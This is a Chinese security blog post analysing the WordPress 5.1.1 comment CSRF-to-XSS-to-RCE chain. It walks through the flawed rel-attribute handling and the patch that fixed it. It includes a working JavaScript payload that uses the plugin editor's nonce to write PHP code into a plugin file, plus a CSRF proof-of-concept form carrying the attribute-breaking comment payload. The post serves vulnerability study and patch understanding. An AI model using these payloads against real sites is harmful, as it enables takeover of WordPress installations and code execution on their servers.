WordPress 5.1.1 ,CSRF->XSS->RCE漏洞分析
WordPress安全机制与XSS写shell
nonce机制
在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。
nonce值的生成:
1 |
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 ); |
其中,$i
是由时间决定的随机数,每天的0时与12时更新一次;$action
是操作;$uid
是用户id;$token
是用户登陆时服务器产生的,每次登陆都不同。
由此可见,nonce可以很好地避免CSRF等漏洞的产生。
后台账户重要性
WordPress认为,后台管理员是有安全意识的,而且不会被盗。所以在WordPress的后台没有XSS过滤;甚至可以通过插件编辑器直接写入webshell。
XSS后台写shell
- 有了nonce机制并且给后台用户较大的权限时,就可以通过XSS直接写入webshell。
- 利用后台管理员可以通过编辑插件写入任意代码这个特点,我们可以构造写入任意代码的JS。 可以获取webshell的JS脚本为(测试环境:WordPress5.1.1,不同版本的参数可能不同,需要抓包重写):
1234567891011121314151617181920212223242526
<html><script>p = 'wordpress/wp-admin/plugin-editor.php?';q = 'file=hello.php';s = '<?php phpinfo();';a = new XMLHttpRequest();a.open('GET', p+q, 0);a.send();$ = 'nonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +'&newcontent=' + s + '&action=edit-theme-plugin-file&' + q +'&plugin=hello.php';b = new XMLHttpRequest();b.open('POST', p+q, 1);b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');b.send($);b.onreadystatechange = function(){ if (this.readyState == 4) { fetch('wordpress/wp-content/plugins/hello.php'); }}</script></html>
漏洞复现
由于我复现的时候 5.1.1已经被修复了,贴一个找到的未修复的commit: https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3
-
安装完WordPress并使用管理员登陆后,进入评论使用burp构造CSRFpayload:
1
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
-
生成的POC:
1234567891011121314
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php" method="POST"> <input type="hidden" name="comment" value="<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click" /> <input type="hidden" name="submit" value="Post Comment" /> <input type="hidden" name="comment_post_ID" value="1" /> <input type="hidden" name="comment_parent" value="0" /> <input type="hidden" name="_wp_unfiltered_html_comment" value="no_need_correct" /> <input type="submit" value="Submit request" /> </form> </body></html>
- 管理用户访问POC后,会产生一个a标签并注入js代码,执行效果:
-
此时,就可以执行写shell的JS代码,达到getshell的目的。
漏洞分析
再次看看前面的payload:
1 |
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
|
需要注意的是:a后的第一个属性必须为$allowedposttags
白名单中的属性,如title、id等,否则WordPress会直接去掉该属性。 查看全局允许的属性名:
由于之前的操作繁琐(主要是评论的各种过滤),直接在漏洞修复处打断点:
123456789101112131415161718192021222324252627 |
function wp_rel_nofollow_callback( $matches ) {$text = $matches[1];$atts = shortcode_parse_atts( $matches[1] );$rel = 'nofollow';if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) {return "<a $text>";}if ( ! empty( $atts['rel'] ) ) { //rel属性不为空时$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );if ( false === array_search( 'nofollow', $parts ) ) {$parts[] = 'nofollow';}$rel = implode( ' ', $parts );unset( $atts['rel'] );$html = '';foreach ( $atts as $name => $value ) {$html .= "{$name}=\"$value\" "; //注意此处对每个属性的值添加双引号}$text = trim( $html );}return "<a $text rel=\"$rel\">";} |
可以很明显的注意到,在调用解析rel
属性的函数时,如果存在rel
属性,首先将解析的每一个属性直接拼接进去并且加上双引号。
WordPress对属性的解析与浏览器的解析一致,大致如下: 1. 外界为双引号,则把双引号内字符串解析为属性而不会加转义 2. 外界为单引号,则把单引号内字符串解析为属性而不会加转义
而在此处,如果单引号中包含双引号,解析时被当做属性,自然不会转义,而最后却被包裹上了双引号,从而造成闭合,原本在属性中的恶意代码被解析:
123 |
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click-><a title=" " onmouseover=alert(1) attr2=" " rel="1">click |
最后输出的结果为:
1 |
<a title=" " onmouseover="alert(1)" attr2=" " rel="1 nofollow">click</a> |
从而造成XSS
修复分析
针对此漏洞的修复主要有两个:
第一处: 可以看到使用
esc_attr
函数对属性进行转义了。
第二处: 第二处修补使用
wp_filter_kses
代替了wp_filter_post_kses
。 首先查看wp_filter_post_kses
:
123456789101112131415 |
function wp_filter_post_kses( $data ) {return addslashes( wp_kses( stripslashes( $data ), 'post' ) );}跟进->function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {if ( empty( $allowed_protocols ) ) {$allowed_protocols = wp_allowed_protocols();}$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );$string = wp_kses_normalize_entities( $string );$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注意此处} |
可以看到,该函数主要是基于$allowed_html对string进行了过滤。
再查看wp_filter_kses
:
123 |
function wp_filter_kses( $data ) {return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );} |
同样地,使用了wp_kses
函数,不同的是这次传入的是current_filter()
,其中关键的过滤功能在函数wp_kses_split
中,跟进:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970 |
function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {global $pass_allowed_html, $pass_allowed_protocols;$pass_allowed_html = $allowed_html;$pass_allowed_protocols = $allowed_protocols;return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );}跟进_wp_kses_split_callback->function _wp_kses_split_callback( $match ) {global $pass_allowed_html, $pass_allowed_protocols;return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );}跟进wp_kses_split2->function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {$string = wp_kses_stripslashes( $string );...if ( ! is_array( $allowed_html ) ) {$allowed_html = wp_kses_allowed_html( $allowed_html );}...}跟进wp_kses_allowed_html->function wp_kses_allowed_html( $context = '' ) {global $allowedposttags, $allowedtags, $allowedentitynames;...switch ( $context ) {case 'post':$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {$tags = $allowedposttags;$tags['form'] = array('action' => true,'accept' => true,'accept-charset' => true,'enctype' => true,'method' => true,'name' => true,'target' => true,);$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );}return $tags;case 'user_description':case 'pre_user_description':$tags = $allowedtags;$tags['a']['rel'] = true;return apply_filters( 'wp_kses_allowed_html', $tags, $context );case 'strip':return apply_filters( 'wp_kses_allowed_html', array(), $context );case 'entities':return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );case 'data':default:return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );} |
可以看到,传入post
时,使用$allowedposttags
过滤;传入current_filter()
解析出的pre_comment_content
时则进入default
,使用$allowedtags
过滤。 这两个数组都是全局变量,$allowedposttags
中包括各种标签,其中就包括a以及其rel属性
:
12345678910 |
'a' => array('href' => true,'rel' => true,'rev' => true,'name' => true,'target' => true,'download' => array('valueless' => 'y',),) |
而$allowedtags
比$allowedposttags
严格的多,其中a标签的内容如下:
1234 |
'a' => array('href' => true,'title' => true,) |
所以,第二个修复点其实是把标签白名单缩小了,不允许rel的出现。
参考资料
- https://www.bynicolas.com/code/wordpress-nonce/
- https://brutelogic.com.br/blog/compromising-cmses-xss/
- https://lorexxar.cn/2017/08/23/xss-tuo/
- https://lorexxar.cn/2019/03/14/wp5-1-1xss/
- source:hachp1.github.io
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论